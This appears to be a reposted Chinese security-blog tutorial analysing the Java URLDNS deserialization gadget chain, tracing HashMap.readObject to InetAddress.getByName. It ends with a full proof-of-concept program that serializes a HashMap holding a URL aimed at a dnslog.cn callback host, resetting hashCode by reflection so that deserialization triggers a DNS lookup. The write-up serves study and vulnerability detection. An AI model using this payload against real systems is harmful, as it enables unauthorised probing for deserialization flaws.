文章总结: 本文剖析了JavaURLDNS反序列化利用链,核心在于HashMap反序列化时重算键哈希值触发URL对象的DNS解析。文章跟踪了从HashMap.readObject到InetAddress.getByName的调用链,强调了利用反射修改hashCode值为-1以确保触发解析的关键技巧,并提供了完整POC代码与调试过程,展示了构造恶意数据验证漏洞的方法。 综合评分: 80 文章分类: 漏洞分析,漏洞POC,WEB安全
【java安全】urldns反序列化利用链分析
原创
仰恩网安校队 仰恩网安校队
GET不到的FLAG
2026年3月11日 21:45 福建
urldns反序列化利用链
原理概述
URLDNS 链的核心逻辑是:利用 java.util.HashMap 在反序列化时会重新计算 Key 的 HashCode 这一特性,触发 java.net.URL 对象的 DNS 解析行为。
代码分析
HashMap.java
// HashMap.java
privatevoidreadObject(ObjectInputStreams) throwsIOException, ClassNotFoundException {
// ... 省略初始化代码 ...
for (inti=0; i<mappings; i++) {
Kkey= (K) s.readObject();
Vvalue= (V) s.readObject();
putVal(hash(key), key, value, false, false); // 关键调用
}
}
这里定义了一个私有方法readObject,然后来到这里的for循环。根据序列化数据中记录的键值对数量(mappings),开始循环。从字节流中调用反序列化方法,还原出原本存储的“键(Key)”对象。接着从字节流中还原出对应的“值(Value)”对象。
hash(key):调用 HashMap 内部的 hash 函数,计算这个 key(也就是我们的 URL 对象)的哈希值,从而决定它该放在数组的哪个位置。
putVal(…):拿到算好的哈希地址后,将刚才读取的 key 和 value 放入 HashMap 的内部存储结构(数组/链表)中。
跟进hash函数
staticfinalinthash(Objectkey) {
inth;
return (key==null) ?0 : (h=key.hashCode()) ^ (h>>>16);
}
在这里中我们key是url类,从而触发后面的漏洞
在构造恶意数据时,存入 HashMap 的键(Key)是一个 java.net.URL 类型的对象。根据 Java 的多态机制,当 key 指向的是 URL 实例时,key.hashCode() 就会去执行 URL 类里面定义的 hashCode 方法。
我们来到url类的hashCode方法
publicsynchronizedinthashCode() {
if (hashCode!=-1)
returnhashCode;
hashCode=handler.hashCode(this);
returnhashCode;
}
public synchronized int hashCode() { 这是一个同步的公共方法,用于计算当前 URL 对象的哈希值。
if (hashCode != -1) return hashCode; 如果 hashCode 字段的值不等于 -1,则直接返回这个值,不再重复计算。
hashCode = handler.hashCode(this); 将计算哈希的任务委托给 handler(URLStreamHandler 对象)处理,并将返回的结果赋值给 hashCode 变量。
return hashCode; 返回计算好的哈希值。
这里有一个 hashCode 属性。
如果它**不等于 -1,说明之前计算过,直接返回缓存值(不会触发解析)。
如果它**等于 -1,则调用 handler.hashCode(this)。
这就是为什么我们在构造 Payload 时,必须用反射将 hashCode 强行改为 -1 的原因。
同时在上面这段代码中可能会有疑惑:hashCode()和handler.hashCode(this)的hashCode是不是一样的?
答案是:不是
可以从这两张图看出这两个函数虽然长得一样,但不是同一个类。我们继续跟第二个hashCode
protectedinthashCode(URLu) {
inth=0;
// Generate the protocol part.
Stringprotocol=u.getProtocol();
if (protocol!=null)
h+=protocol.hashCode();
// Generate the host part.
InetAddressaddr=getHostAddress(u);
if (addr!=null) {
h+=addr.hashCode();
} else {
Stringhost=u.getHost();
if (host!=null)
h+=host.toLowerCase().hashCode();
}
// Generate the file part.
Stringfile=u.getFile();
if (file!=null)
h+=file.hashCode();
// Generate the port part.
if (u.getPort() ==-1)
h+=getDefaultPort();
else
h+=u.getPort();
// Generate the ref part.
Stringref=u.getRef();
if (ref!=null)
h+=ref.hashCode();
returnh;
}
关键代码:
InetAddressaddr=getHostAddress(u); // 尝试将域名解析为 IP
if (addr!=null) {
h+=addr.hashCode(); // 使用 IP 参与运算
} else {
// 如果解析失败,才使用原始的 Host 字符串
Stringhost=u.getHost();
if (host!=null)
h+=host.toLowerCase().hashCode();
}
在这里传入的u会被通过 getHostAddress 去解析域名,只要解析成功,就会触发一次 DNS 请求。
接着回到url.java,最终出发点出来了
synchronizedInetAddressgetHostAddress() {
if (hostAddress!=null) {
returnhostAddress;
}
if (host==null||host.isEmpty()) {
returnnull;
}
try {
hostAddress=InetAddress.getByName(host);
} catch (UnknownHostException|SecurityExceptionex) {
returnnull;
}
returnhostAddress;
}
可能有人会问,为什么上一秒还在URLStreamHandler.java的getHostAddress()函数,下一秒到url.java来了
我们打个断点看看
断点 1:你先在 URLStreamHandler.hashCode(URL u) 里停住。
触发点:你按 F7(Step Into)进入下一行代码。
转场:光标直接跳进了 URL.getHostAddress() 方法中。
这就是因为 u.getHostAddress() 这个方法调用,直接把控制权从 URLStreamHandler 交给了 URL 对象内部。
走到现在,urldns反序列化链分析已经顺利完成,以下是复现poc。
复现
#
importjava.io.*;
importjava.lang.reflect.Field;
importjava.net.URL;
importjava.net.URLConnection;
importjava.net.URLStreamHandler;
importjava.util.HashMap;
publicclassURLdns {
publicstaticvoidmain(String[] args) throwsException {
// 1. 准备 DNSLog 地址(请去 dnslog.cn 获取你自己的地址)
StringdnsLogUrl="http://0b12dc.dnslog.cn";
// 2. 构造一个静默的 Handler,防止在 put 到 HashMap 时本地触发 DNS 请求
URLStreamHandlerhandler=newURLStreamHandler() {
@Override
protectedURLConnectionopenConnection(URLu) { returnnull; }
@Override
protectedsynchronizedjava.net.InetAddressgetHostAddress(URLu) {
returnnull;
}
};
// 3. 实例化 HashMap 和 URL 对象
HashMap<URL, String>ht=newHashMap<>();
URLu=newURL(null, dnsLogUrl, handler);
// 4. 将 URL 放入 HashMap
ht.put(u, "test");
// 5. 【核心】通过反射将 hashCode 改回 -1
// 只有是 -1,反序列化时受害者才会重新计算 hash 从而触发 DNS 请求
Class<?>clazz=Class.forName("java.net.URL");
Fieldfield=clazz.getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, -1);
// 6. 序列化:将对象写入文件 out.ser
System.out.println("正在序列化对象到文件...");
ObjectOutputStreamoos=newObjectOutputStream(newFileOutputStream("out.ser"));
oos.writeObject(ht);
oos.close();
// 7. 反序列化:模拟受害者读取文件(触发点)
System.out.println("正在反序列化对象,请观察 DNSLog...");
ObjectInputStreamois=newObjectInputStream(newFileInputStream("out.ser"));
ois.readObject(); // 此时代码内部会一步步走到 DNS 解析
ois.close();
}
}
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:GET不到的FLAG 仰恩网安校队 仰恩网安校队《【java安全】urldns反序列化利用链分析》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。




![[更新]红队加载器LoaderV3](/images/random/titlepic/5.jpg)





评论